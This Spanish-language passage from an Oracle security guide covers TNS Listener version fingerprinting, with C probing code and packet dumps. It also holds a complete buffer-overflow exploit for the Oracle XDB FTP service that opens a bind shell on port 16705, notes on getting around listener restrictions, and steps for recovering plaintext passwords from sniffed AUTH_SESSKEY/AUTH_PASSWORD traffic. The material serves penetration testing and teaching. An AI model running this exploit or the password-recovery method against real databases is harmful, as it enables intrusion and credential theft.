  • 17. (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.0.120))(AD DRESS= (PROTOCOL=TCP)(HOST=192.168.0.120)(PORT=1521))) TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production TNS for 32-bit Windows: Version 10.2.0.1.0 - Production Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 10.2.0.1.0 - Production Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 10.2.0.1.0 - Production,, The command completed successfully LSNRCTL> Como se puede observar en la salida anterior, se trata de un Oracle 10g Release 2 corriendo sobre un sistema Windows. U S A N D O L A V E R S I O N D E L P ROT OC OL O T N S En el paquete TNS de conexión, una palabra (2 bytes) especifica la versión del protocolo TNS, la siguiente palabra en los bytes 11 y 12 especifica con que versiones anteriores del protocolo se puede entender, es decir, la compatibilidad hacia atrás, por ejemplo, si un cliente de Oracle está usando una versión 8.1.7.4 del Listener, cuando el cliente envía 0x0136 como versión del protocolo TNS, este puede usar 0x012C para compatibilizar. Esto permite que dos versiones distintas de Oracle puedan comunicarse simplemente estableciendo compatibilidades sobre el protocolo TNS. Es decir, podemos utilizar estas dos palabras para determinar la versión del servidor. Para ello debemos tener identificados los valores de las palabras con sus correspondientes versiones y seguir un orden jerárquico. Comenzamos con el número de versión más alto y trabajaremos hacia abajo, por lo tanto enviamos 0x013C si el servidor no entiende esta versión (lo sabremos bien por el retorno de un error o por el tiempo de expiración), enviamos o reducimos el valor a 0x13B, luego 0x13A, 0x139 y así sucesivamente hasta 0x00CC. Tan pronto como el servidor responda sabremos de que versión se trata. Oracle 11r1 supports 0x13A Oracle 10r2 supports 0x139 Oracle 9r2 supports 0x138 Oracle 9i supports 0x137 Oracle 8 supports 0x136 17
  • 18. A continuación se muestra el código de tnsver.c, el cual implementa un proceso automatizado para realizar este proceso: #include <stdio.h> #include <windows.h> #include <winsock.h> struct hostent *he; struct sockaddr_in s_sa; int ListenerPort=1521; char host[260]=""; int GetOracleVersion(unsigned char *pkt, unsigned int pkt_len, unsigned char *resp, unsigned int resp_len, int dr); int StartWinsock(void); int InitTNSPacket(unsigned char *data, unsigned short data_length); int bswap_s(unsigned int v); int bswap_i(unsigned int v); int error(); int GetOracleVersionByError(); int GetOracleVersionByProtocolVersion(); int GetOracleVersionByVersionCommand(); typedef struct TNSHeader { unsigned short Length; unsigned short PacketChecksum; unsigned char Type; unsigned char Flags; unsigned short HeaderChecksum; }TNSHeader; typedef struct TNSConnect { unsigned short Version; unsigned short MinVersion; unsigned short GlobalServiceOptions; unsigned short SessionDataUnit; unsigned short TransportDataUnit; unsigned short Characteristics; unsigned short MaxPacketsBeforeAck; unsigned short ByteOrder; unsigned short Length; unsigned short Offset; unsigned int MaxRecv; unsigned short AdditionalNetworkOptions; unsigned char buf[24]; } TNSConnect; #define TNS_CONNECT 1 #define MAX_VER 0x0139 #define MIN_VER 0x012C #define SDU_MAX 0x0800 #define TDU_MAX 0x7FFF #define DATA_LENGTH 12 unsigned char TNSPacket[2000]=""; int InitTNSPacket(unsigned char *data, unsigned short data_length) { TNSConnect tnsconnect; TNSHeader tnsheader; memset(&tnsheader,0,sizeof(TNSHeader)); memset(&tnsconnect,0,sizeof(TNSConnect)); tnsheader.Length = bswap_s(data_length + 0x3A); tnsheader.PacketChecksum = 0; 18
  • 19. tnsheader.Type = TNS_CONNECT; tnsheader.Flags = 0; tnsheader.HeaderChecksum = 0; tnsconnect.Version = bswap_s(MAX_VER); tnsconnect.MinVersion = bswap_s(MIN_VER); tnsconnect.GlobalServiceOptions = 0; tnsconnect.SessionDataUnit = bswap_s(SDU_MAX); tnsconnect.TransportDataUnit = bswap_s(TDU_MAX); tnsconnect.Characteristics = bswap_s(0x860E); tnsconnect.MaxPacketsBeforeAck = 0; tnsconnect.ByteOrder = 0x1; tnsconnect.Length = bswap_s(data_length); tnsconnect.Offset = bswap_s(0x3A); tnsconnect.MaxRecv = bswap_i(0x000007F8); tnsconnect.AdditionalNetworkOptions = 0x0C0C; memmove(TNSPacket,&tnsheader,sizeof(TNSHeader)); memmove(&TNSPacket[sizeof(TNSHeader)],&tnsconnect,50); memmove(&TNSPacket[0x3A],data,data_length); return 0; } int main(int argc, char *argv[]) { unsigned int err=0; unsigned short val = 0x13B; if(argc == 1) { printf("nt*** OraVer ***"); printf("nntGets the Oracle version number."); printf("nntC:>%s host [port]",argv[0]); printf("nntDavid Litchfieldntdavidl@ngssoftware.comnt22th April 2003n"); return 0; } strncpy(host,argv[1],256); if(argc == 3) ListenerPort = atoi(argv[2]); err = StartWinsock(); if(err==0) printf("Error starting Winsock.n"); else { GetOracleVersionByError(); GetOracleVersionByProtocolVersion(); GetOracleVersionByVersionCommand(); } WSACleanup(); return 0; } int GetOracleVersionByProtocolVersion() { int res=0; unsigned char buff[2000]=""; unsigned char *ptr = NULL; unsigned short ver = 0x13B; InitTNSPacket("AAAABBBBCCCC",DATA_LENGTH); while(ver > 0xCC) { ver = (unsigned short)bswap_s(ver); memmove(&TNSPacket[8],&ver,2); memmove(&TNSPacket[10],&ver,2); ver = (unsigned short)bswap_s(ver); 19
  • 20. res = GetOracleVersion(TNSPacket,0x3A+DATA_LENGTH,buff,2000,0); if(res == -1) return printf("Failed to connect.n"); if(res > 0x20) { printf("TNS version 0x%.2X is supportedn",ver); break; } else printf("TNS version 0x%.2X is not supportedn",ver); ver --; } return 0; } int GetOracleVersionByVersionCommand() { int res=0; unsigned char buff[2000]=""; unsigned char *ptr = NULL; unsigned char *vercmd = "(CONNECT_DATA=(COMMAND=version))"; InitTNSPacket(vercmd,(unsigned short)strlen(vercmd)); res = GetOracleVersion(TNSPacket,0x3A+strlen(vercmd),buff,2000,1); if(res == -1) return printf("Failed to connect.n"); if(res > 0x36) { ptr = &buff[10]; printf("nnVersion command:n%sn",ptr); } else error(); return 0; } int GetOracleVersionByError() { int res=0; unsigned char buff[2000]=""; unsigned char ver[8]=""; unsigned char *ptr = NULL; unsigned char h=0,l=0,p=0,q=0; InitTNSPacket("ABCDEFGHIJKL",DATA_LENGTH); res = GetOracleVersion(TNSPacket,0x3A+DATA_LENGTH,buff,2000,0); if(res == -1) return printf("Failed to connect to listener.n"); if(res > 0x32) { ptr = &buff[36]; ptr[6]=0x00; if(strcmp(ptr," VSNNUM")==0) { ptr = &ptr[7]; res = atoi(ptr); res = res << 4; memmove(ver,&res,4); h = ver[3] >> 4; l = ver[3] << 4; l = l >> 4; p = ver[1] >> 4; q = ver[0] >> 4; printf("nVersion of Oracle is 20
  • 21. %d.%d.%d.%d.%dnn",h,l,ver[2],p,q); } else return error(); } else return error(); return 0; } int error() { return printf("There was an error getting the version number.n"); } int bswap_s(unsigned int v) { __asm { xor eax, eax mov eax,v bswap eax shr eax,16 mov v, eax } return v; } int bswap_i(unsigned int v) { __asm { xor eax, eax mov eax,v bswap eax mov v, eax } return v; } int StartWinsock() { int err=0; unsigned int addr; WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD(2, 0); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0) return 0; if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 0) return 0; s_sa.sin_addr.s_addr=INADDR_ANY; s_sa.sin_family=AF_INET; if (isalpha(host[0])) { he = gethostbyname(host); if(he == NULL) { printf("Failed to look up %sn",host); return 0; } memcpy(&s_sa.sin_addr,he->h_addr,he->h_length); } else 21
  • 22. { addr = inet_addr(host); memcpy(&s_sa.sin_addr,&addr,4); } return 1; } int GetOracleVersion(unsigned char *pkt, unsigned int pkt_len, unsigned char *resp, unsigned int resp_len, int dr) { unsigned char ver[8]=""; unsigned char h=0,l=0,p=0,q=0; int snd=0,rcv=0,count=0; unsigned int to=1000; SOCKET cli_sock; char *ptr = NULL; cli_sock=socket(AF_INET,SOCK_STREAM,0); if (cli_sock==INVALID_SOCKET) return printf("nFailed to create the socket.n"); setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int)); s_sa.sin_port=htons((unsigned short)ListenerPort); if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) { printf("nFailed to connect to the Listener.n"); return -1; } snd=send(cli_sock, pkt , pkt_len , 0); rcv = recv(cli_sock,resp,resp_len,0); if(dr) rcv = recv(cli_sock,resp,resp_len,0); closesocket(cli_sock); if(rcv == SOCKET_ERROR) return 0; else return rcv; } U S A N D O L A V E R S I O N D E X M L DA TA BA S E Si la base de datos XML está corriendo en el sistema, se puede lanzar un Telnet al puerto 2100 (u el obtenido mediante nmap) para obtener el banner y por tanto la versión. Véase un ejemplo: 220 PILUM FTP Server (Oracle XML DB/Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production) ready. Also, the XDB Web server on TCP port 8080 gives up the version number: GET / HTTP/1.1 22
  • 23. Host: PILUM HTTP/1.1 401 Unauthorized MS-Author-Via: DAV DAV: 1,2,<http://www.oracle.com/xdb/webdav/props> Server: Oracle XML DB/Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production WWW-Authenticate: Basic Realm=" XDB" Content-Type: text/html Content-Length: 147 U S A N D O E L T E X TO D E E R R O R D E T N S Si el Listener recibe un paquete que no comprende, este devolverá un error, el código de ese error nos proporciona, mediante una simple conversión, la versión que estamos buscando. El código que buscamos se llama VSNNUM y tiene un formato como 169869568 que en hexadecimal se corresponde con 0x0A200100 con lo que la versión es 10.2.0.1.0. A continuación se muestra un dump donde el paquete que no comprende es el que contiene ‘irrompible’: IP Header Length and version: 0x45 Type of service: 0x00 Total length: 181 Identifier: 13914 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x41e5 Source IP: 192.168.0.120 Dest IP: 192.168.0.59 23
  • 24. TCP Header Source port: 1521 Dest port: 3004 Sequence: 1152664576 ack: 2478634793 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 17451 Checksum: 0xcae1 Urgent Pointer: 0 Raw Data 00 8d 00 00 04 00 00 00 22 00 00 81 28 44 45 53 " (DES 43 52 49 50 54 49 4f 4e 3d 28 45 52 52 3d 31 31 CRIPTION=(ERR=11 35 33 29 28 56 53 4e 4e 55 4d 3d 31 36 39 38 36 53)(VSNNUM=16986 39 35 36 38 29 28 45 52 52 4f 52 5f 53 54 41 43 9568)(ERROR_STAC 4b 3d 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 31 K=(ERROR=(CODE=1 31 35 33 29 28 45 4d 46 49 3d 34 29 28 41 52 47 153)(EMFI=4)(ARG 53 3d 27 75 6e 62 72 65 61 6b 61 62 6c 65 27 29 S='irrompible') 29 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 33 30 )(ERROR=(CODE=30 33 29 28 45 4d 46 49 3d 31 29 29 29 29 3)(EMFI=1)))) U S A N D O L A F U N C I ON T T C Una vez el cliente acepta un paquete recibido del servidor, éste tiene la potestad de negociar información de red adicional, como puede ser: Autenticación, encriptación, integridad de datos, etc. La versión del cliente o del servidor se puede encontrar en los tres bytes posteriores al ANO gnegotiation hearder (0xDEADBEEF) – con un total de 17 bytes. En la siguiente captura se puede ver: IP Header 24
  • 25. Length and version: 0x45 Type of service: 0x00 Total length: 203 Identifier: 14473 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x3fa0 Source IP: 192.168.0.59 Dest IP: 192.168.0.120 TCP Header Source port: 4194 Dest port: 1495 Sequence: 422372252 ack: 597087647 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 65087 Checksum: 0x7e36 Urgent Pointer: 0 Raw Data 00 a3 00 00 06 00 00 00 00 00 de ad be ef 00 99 08 10 74 00 00 04 00 00 04 00 03 00 00 00 00 00 t 04 00 05 08 10 74 00 00 02 00 06 00 1f 00 0e 00 t 01 de ad be ef 00 03 00 00 00 02 00 04 00 01 00 25
  • 26. 01 00 07 00 00 00 00 00 04 00 05 08 10 74 00 00 t 02 00 06 fa ff 00 01 00 02 01 00 03 00 00 4e 54 NT 53 00 04 00 05 02 00 00 00 00 04 00 04 00 00 00 S 00 00 04 00 04 00 00 00 02 00 02 00 02 00 00 00 00 00 04 00 05 08 10 74 00 00 01 00 02 00 00 03 t 00 02 00 00 00 00 00 04 00 05 08 10 74 00 00 01 t 00 02 00 A TA C A N D O E L T N S L I S T E N E R Como se avanzaba anteriormente, en versiones 10g y anteriores es TNS Listener puede ser administrado remotamente. Entre otras cosas es posible especificar o cambiar el path de los ficheros de log, por lo que en este caso es posible por ejemplo cambiar el path a un fichero batch en el directorio de inicio del administrador en sistemas Windows o el fichero .rhosts en el directorio home de Oracle en sistemas *nix. Una vez realizado este cambio el atacante puede enviar un comando o “++” en caso de *nix pudiendo ejecutar comandos como el usuario Oracle. Es recomendable establecer una password segura en el Listener así como utilizar Admin Restrictions para impedir por ejemplo que se cambie el path de los logs de forma remota y forzar a que el cambio tenga que realizarse en local. Históricamente el TNS Listener sufrió numerosos casos de buffer overflow, por ejemplo, uno de los más usados en exploiting de Oracle es el que usaba el service_name para introducir una shellcode en el sistema, a continuación vemos un ejemplo: (DESCRIPTION=(ADDRESS= (PROTOCOL=TCP)(HOST=192.168.0.65) (PORT=1521))(CONNECT_DATA= (SERVICE_NAME=shellcode_goes_here) (CID= (PROGRAM=SQLPLUS.EXE) (HOST=foo)(USER=bar)))) 26
  • 27. El error o vulnerabilidad se produce cuando el sistema copia el nombre o service- name a la pila (la cual usa como buffer) para escribir el error log, permitiendo de esta forma hacer exploiting para ganar el control sobre el proceso en ejecución. Existen muchos otros buffer Overflow, la inmensa mayoría corregidos en versiones recientes, igualmente los métodos usados para atacar el Listener (Sid enumeration, etc) son comúnmente conocidos, por lo que no se tratarán en este capítulo, por no aportar nada nuevo. B Y PA S S I N G D E R E S T R I C C I O N E S D E L I S T E N E R E N 1 0 G Una de las medidas que se adoptaron a partir de la versión 10g fue la de introducir restricciones para usuarios remotos, de manera que ciertas configuraciones requieren que se realicen en local. En ciertos casos, no siempre, es posible bypassear estas restricciones, en un primer momento podríamos conectarnos a la base de datos y luego usar UTL_TCP para conectarse al Listener, debido a que la petición se hace desde el mismo sistema, es decir, en local, tendríamos total acceso aunque de forma remota. Otra posible forma para realizar el bypassing consiste en la conexión a 127.0.0.1, cuando se hace esto, el Listener es redirigido a través de pipe, el cual puede conectarse y enviar comandos, por lo que una forma muy simple podría usar las características de conexión en formato string para introducir dicho comando, en versiones recientes esta vulnerabilidad ha sido solucionada. El Listener es también alcanzable vía dispatchers, estos son básicamente dos, el XDB y los Aurora GIOP, estos últimos se usaban en versiones 8 y 9 de Oracle, por lo que nos centraremos en el despachador de XML Database o XBD. X D B DA TA B A S E El XDB o Database XML ofrece dos servicios, uno a través de http en el puerto 8080 TCP y otro basado en FTP en el puerto 2100 TCP. Al igual que en el caso anterior, históricamente XDB sufrió multitud de buffers overflow, inclusive buffer overflows en el mecanismo de autenticación cuando se usaban nombre largos, por ejemplo el siguiente exploit aprovecha esta vulnerabilidad en XDB 9.2.0.1 corriendo sobre Linux: #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> 27
  • 28. #include <netdb.h> int main(int argc, char *argv[]) { struct hostent *he; struct sockaddr_in sa; int sock; unsigned int addr = 0; char recvbuffer[512]=""; char user[260]="user "; char passwd[260]="pass "; int rcv=0; int snd =0; int count = 0; unsigned char nop_sled[1804]=""; unsigned char saved_return_address[]="x41xc8xffxbf"; unsigned char exploit[2100]=" unlock / AAAABBB" "BCCCCDDDDEEEEFFF" "FGGGGHHHHIIIIJJJ" "JKKKKLLLLMMMMNNN" "NOOOOPPPPQQQQRRR" "RSSSSTTTTUUUUVVV" "VWWWWXXXXYYYYZZZ" "Zaaaabbbbccccdd"; unsigned char code[]="x31xdbx53x43x53x43x53x4bx6ax66x58x54x59xcd" "x80x50x4bx53x53x53x66x68x41x41x43x43x66x53" "x54x59x6ax10x51x50x54x59x6ax66x58xcdx80x58" "x6ax05x50x54x59x6ax66x58x43x43xcdx80x58x83" "xecx10x54x5ax54x52x50x54x59x6ax66x58x43xcd" 28
  • 29. "x80x50x31xc9x5bx6ax3fx58xcdx80x41x6ax3fx58" "xcdx80x41x6ax3fx58xcdx80x6ax0bx58x99x52x68" "x6ex2fx73x68x68x2fx2fx62x69x54x5bx52x53x54" "x59xcdx80rn"; if(argc !=4) { printf("nntOracle XDB FTP Service UNLOCK Buffer Overflow Exploit"); printf("nttfor Blackhat (http://www.blackhat.com)"); printf("nntSpawns a shell listening on TCP Port 16705"); printf("nntUsage:t%s host userid password",argv[0]); printf("nntDavid Litchfieldnt(david@ngssoftware.com)"); printf("nt7th July 2003nnn"); return 0; } while(count < 1800) nop_sled[count++]=0x90; // Build the exploit strcat(exploit,saved_return_address); strcat(exploit,nop_sled); strcat(exploit,code); // Process arguments strncat(user,argv[2],240); strncat(passwd,argv[3],240); strcat(user,"rn"); strcat(passwd,"rn"); // Setup socket stuff sa.sin_addr.s_addr=INADDR_ANY; sa.sin_family = AF_INET; sa.sin_port = htons((unsigned short) 2100); 29
  • 30. // Resolve the target system if(isalpha(argv[1][0])==0) { addr = inet_addr(argv[1]); memcpy(&sa.sin_addr,&addr,4); } else { he = gethostbyname(argv[1]); if(he == NULL) return printf("Couldn't resolve host %sn",argv[1]); memcpy(&sa.sin_addr,he->h_addr,he->h_length); } sock = socket(AF_INET,SOCK_STREAM,0); if(sock < 0) return printf("socket() failed.n"); if(connect(sock,(struct sockaddr *) &sa,sizeof(sa)) < 0) { close(sock); return printf("connect() failed.n"); } printf("nConnected to %s....n",argv[1]); // Receive and print banner rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) { printf("%sn",recvbuffer); bzero(recvbuffer,rcv+1); } 30
  • 31. else { close(sock); return printf("Problem with recv()n"); } // send user command snd = send(sock,user,strlen(user),0); if(snd != strlen(user)) { close(sock); return printf("Problem with send()....n"); } else { printf("%s",user); } // Receive response. Response code should be 331 rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) { if(recvbuffer[0]==0x33 && recvbuffer[1]==0x33 && recvbuffer[2]==0x31) { printf("%sn",recvbuffer); bzero(recvbuffer,rcv+1); } else { close(sock); 31
  • 32. return printf("FTP response code was not 331.n"); } } else { close(sock); return printf("Problem with recv()n"); } // Send pass command snd = send(sock,passwd,strlen(passwd),0); if(snd != strlen(user)) { close(sock); return printf("Problem with send()....n"); } else printf("%s",passwd); // Receive reponse. If not 230 login has failed. rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) { if(recvbuffer[0]==0x32 && recvbuffer[1]==0x33 && recvbuffer[2]==0x30) { printf("%sn",recvbuffer); bzero(recvbuffer,rcv+1); } else { 32
  • 33. close(sock); return printf("FTP response code was not 230. Login failed...n"); } } else { close(sock); return printf("Problem with recv()n"); } // Send the UNLOCK command with exploit snd = send(sock,exploit,strlen(exploit),0); if(snd != strlen(exploit)) { close(sock); return printf("Problem with send()....n"); } // Should receive a 550 error response. rcv = recv(sock,recvbuffer,508,0); if(rcv > 0) printf("%sn",recvbuffer); printf("nnExploit code sent....nnNow telnet to %s 16705nn",argv[1]); close(sock); return 0; } 33
  • 34. A TA C A N D O E L M E C A N I S M O D E AU T E N T I C A C I ÓN Antes de conseguir acceso total a la base de datos, es necesario conseguir acceso, aunque esto parece una trivialidad, en esencia es la diferencia entre autenticación y autorización, es decir, primero deberemos conseguir que el sistema nos autentique, aunque no tengamos autorizado el acceso a determinados datos o funciones del sistema. La autenticación se puede conseguir por varios medios, desde usando buffers overflows para hacer el exploiting hasta realizando ataques de fuerza bruta o diccionario, pasando por todas las opciones intermedias que pueden existir para conseguir autenticarse. A estas alturas ya estamos en condiciones de entender como funciona el proceso de autenticación en Oracle. Cuando intentamos conectar a una base de datos, el cliente en primer lugar se conectará al TNS Listener, como ya es sabido. El siguiente es un Dump del paquete de conexión: IP Header Length and version: 0x45 Type of service: 0x00 Total length: 320 Identifier: 9373 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x532d Source IP: 192.168.0.120 Dest IP: 192.168.0.37 TCP Header Source port: 1916 Dest port: 1521 Sequence: 2802498112 ack: 2168229595 Header length: 0x50 Flags: 0x18 (ACK PSH) 34
  • 35. Window Size: 17520 Checksum: 0x4915 Urgent Pointer: 0 Raw Data 01 18 00 00 01 00 00 00 01 39 01 2c 00 00 08 00 9 , 7f ff c6 0e 00 00 01 00 00 de 00 3a 00 00 02 00 : 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa 00 00 00 00 00 00 00 00 00 00 28 44 45 53 43 52 (DESCR 49 50 54 49 4f 4e 3d 28 41 44 44 52 45 53 53 3d IPTION=(ADDRESS= 28 50 52 4f 54 4f 43 4f 4c 3d 54 43 50 29 28 48 (PROTOCOL=TCP)(H 4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 2e 33 37 OST=192.168.0.37 29 28 50 4f 52 54 3d 31 35 32 31 29 29 28 43 4f )(PORT=1521))(CO 4e 4e 45 43 54 5f 44 41 54 41 3d 28 53 45 52 56 NNECT_DATA=(SERV 45 52 3d 44 45 44 49 43 41 54 45 44 29 28 53 45 ER=DEDICATED)(SE 52 56 49 43 45 5f 4e 41 4d 45 3d 6f 72 61 38 31 RVICE_NAME=ora81 37 2e 6e 67 73 73 6f 66 74 77 61 72 65 2e 63 6f 7.ngssoftware.co 6d 29 28 43 49 44 3d 28 50 52 4f 47 52 41 4d 3d m)(CID=(PROGRAM= 43 3a 5c 6f 72 61 63 6c 65 5c 70 72 6f 64 75 63 C:oracleproduc 74 5c 31 30 2e 32 2e 30 5c 64 62 5f 31 5c 62 69 t10.2.0db_1bi 6e 5c 73 71 6c 70 6c 75 73 2e 65 78 65 29 28 48 nsqlplus.exe)(H 4f 53 54 3d 4f 52 41 29 28 55 53 45 52 3d 6f 72 OST=ORA)(USER=or 61 63 6c 65 29 29 29 29 acle))))) Nótese que el Service_Name entry= ora817.ngssoftware.com. Este servicio no está registrado con el TNS Listener, por lo que generará un error. Si es servicio esta registrado, el Listener redirige al cliente conectando a otro puerto TCP. IP Header Length and version: 0x45 35
  • 36. Type of service: 0x00 Total length: 104 Identifier: 32335 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0xfa52 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 1521 Dest port: 1916 Sequence: 2168229595 ack: 2802498392 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 65255 Checksum: 0xe663 Urgent Pointer: 0 Raw Data 00 40 00 00 05 00 00 00 00 36 28 41 44 44 52 45 @ 6(ADDRE 53 53 3d 28 50 52 4f 54 4f 43 4f 4c 3d 74 63 70 SS=(PROTOCOL=tcp 29 28 48 4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 )(HOST=192.168.0 2e 33 37 29 28 50 4f 52 54 3d 33 35 39 30 29 29 .37)(PORT=3590)) En este caso el cliente es redirigido al puerto 3590 TCP. Si el servidor está corriendo en MTS (multi-threaded server), el cliente no será redirigido y todas las comunicaciones tendrán lugar sobre el puerto 1521, cuando el cliente está conectado al nuevo puerto, se produce la petición de servicio, como en el caso de la conexión al Listener. 36
  • 37. IP Header Length and version: 0x45 Type of service: 0x00 Total length: 236 Identifier: 59545 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x8f84 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 2500 Dest port: 1521 Sequence: 668563957 ack: 2568057659 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 32780 Checksum: 0x65e8 Urgent Pointer: 0 Raw Data 00 c4 00 00 06 00 00 00 00 00 03 76 02 b0 5f df v _ 00 06 00 00 00 01 00 00 00 58 cc 12 00 04 00 00 X 00 28 ca 12 00 14 ce 12 00 06 73 79 73 74 65 6d ( system 0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e AUTH_TERMIN 41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00 AL GLADIUS 00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47 AUTH_PROG 52 41 4d 5f 4e 4d 0b 00 00 00 0b 53 51 4c 50 4c RAM_NM SQLPL 37
  • 38. 55 53 2e 45 58 45 00 00 00 00 0c 00 00 00 0c 41 US.EXE A 55 54 48 5f 4d 41 43 48 49 4e 45 11 00 00 00 11 UTH_MACHINE 57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55 WORKGROUPGLADIU 53 00 00 00 00 08 00 00 00 08 41 55 54 48 5f 50 S AUTH_P 49 44 09 00 00 00 09 35 35 37 36 3a 35 34 35 36 ID 5576:5456 00 00 00 00 En la captura anterior, ese aprecia que el nombre de usuario es “system”. El sistema realizará una comprobación para ver si el nombre de usuario “system” es válido. Si el usuario no existe el sistema enviará un error de “logon denied” al cliente. En caso de que el usuario exista, el sistema extrae de la base de datos el hash de la password del mismo y usa ese mismo hash para generar un “secret number”. El número secreto se crea de la siguiente forma: el servidor realiza la llamada slgdt() de la librería de Oracle, esta función básicamente obtiene el tiempo del sistema (minutos, horas, milisegundos y segundos) y lo almacena como WORD, a continuación creará ocho bytes cifrados, los primeros cuatro bytes de la clave son usados para representar los (minutos y horas) XOR (últimos cuatro bytes), estos últimos cuatro bytes son (milisegundos y segundos XOR 4 primeros bytes del hash). Esta clave se usa para encriptar el texto de la llamada a la función kzsrenc(), esta función básicamente establece en DES usando lncgks() y lncecb() para habilitar el cifrado DES en modo ECB. El secret number es también encriptado con el hash de la password de usuario el resultado se guarda en AUTH_SESSKEY, esto es lo que se envía: IP Header Length and version: 0x45 Type of service: 0x00 Total length: 185 Identifier: 52755 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0xaa3d Source IP: 192.168.0.120 Dest IP: 192.168.0.37 TCP Header 38
  • 39. Source port: 1521 Dest port: 2500 Sequence: 2568057659 ack: 668564153 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 16275 Checksum: 0x4c2d Urgent Pointer: 0 Raw Data 00 91 00 00 06 00 00 00 00 00 08 01 00 0c 00 00 00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 10 00 AUTH_SESSKEY 00 00 10 36 43 43 33 37 42 41 33 44 41 37 39 37 6CC37BA3DA797 35 44 36 00 00 00 00 04 01 00 00 00 00 00 00 00 5D6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 36 01 00 00 00 00 00 6 00 b8 00 8b 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Una vez recibido el AUTH_SESSKEY, el cliente debe desencriptar esta clave para conseguir el secret number. El usuario o cliente crea una copia de su propio hash de password usando lncupw(), que es otra de las funciones que proporciona Oracle. Por tanto el hash es usado como clave para desencriptar el AUTH_SESSKEY y si todo va bien se obtiene el número secreto, esta clave secreta será luego usada para encriptar el texto del usuario, el texto cifrado es enviado al servidor como AUTH_PASSWORD: IP Header Length and version: 0x45 Type of service: 0x00 39
  • 40. Total length: 839 Identifier: 59546 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x8d28 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 2500 Dest port: 1521 Sequence: 668564153 ack: 2568057804 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 32762 Checksum: 0x0838 Urgent Pointer: 0 Raw Data 03 1f 00 00 06 00 00 00 00 00 03 73 03 b0 5f df s _ 00 06 00 00 00 01 01 00 00 1c da 12 00 07 00 00 00 88 d6 12 00 3c dc 12 00 06 73 79 73 74 65 6d < system 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f AUTH_PASSWO 52 44 11 00 00 00 11 36 36 36 43 41 46 45 36 37 RD 666CAFE67 34 39 43 39 44 37 37 30 00 00 00 00 0d 00 00 00 49C9D770 40
  • 41. .... El servidor desencripta el AUTH_PASSWORD con el número secreto mediante una llamada a la función kzsrdep() . El servidor tiene en este momento una copia de la password en texto plano, a continuación el servidor crea un hash y lo contrasta con el hash que tiene almacenado en la base de datos, si hace match el usuario es autenticado. A continuación el servidor realizará comprobaciones para saber, por ejemplo, si el usuario tiene privilegios para poder crear una sesión. Llegados este punto podemos darnos cuenta que si el AUTH_PASSWORD es de 16 caracteres de longitud entonces la password es de 8 o menos, por otro lado si la longitud de AUTH_PASSWORD es de 32 caracteres la password tendrá una longitud entre 9 y 16 caracteres. Esta información la deducimos únicamente capturando tráfico de red y nos puede servir para ver cuan factible sería un ataque de cracking sobre esos hashes. C R I P TO - A TA C A N D O Y L A I M P ORTA N C I A D E P ROT E G E R L A C A PA 2 Conseguir los hashes de Oracle es un proceso trivial y que hacer con ellos depende en gran medida de la fortaleza, el primer intento debería ser usar rainbow tables (hashes pre-computados), en un segundo intento se podría intentar lanzar ataques de diccionarios (más o menos personalizados, no diccionarios estándares) y a la muy malas siempre nos quedaría lanzar un ataque de fuerza bruta, lo cual muchas veces es inviable. Pero no debemos centrarnos únicamente en crackear el hash, la pregunta es, ¿Qué podemos hacer con el hash?, imaginemos que hemos conseguido el hash y queremos tener el texto en plano, para ello podemos sniffar el tráfico de red buscando AUTH_SESSKEY y AUTH_PASSWORD, es así como conseguiremos el texto el plano. Como tenemos el hash podemos descencriptar el AUTH_SESSKEY y conseguir en secret number, luego usaremos este número secreto para desencriptar AUTH_PASSWORD y sin hacer nada más tendremos el texto en claro. Como se puede ver uno de los grandes problemas o ventajas según se mire, es el que se pueda hacer sniffing en la red, aquí radica la problemática de la inseguridad de capas inferiores, por defecto en una 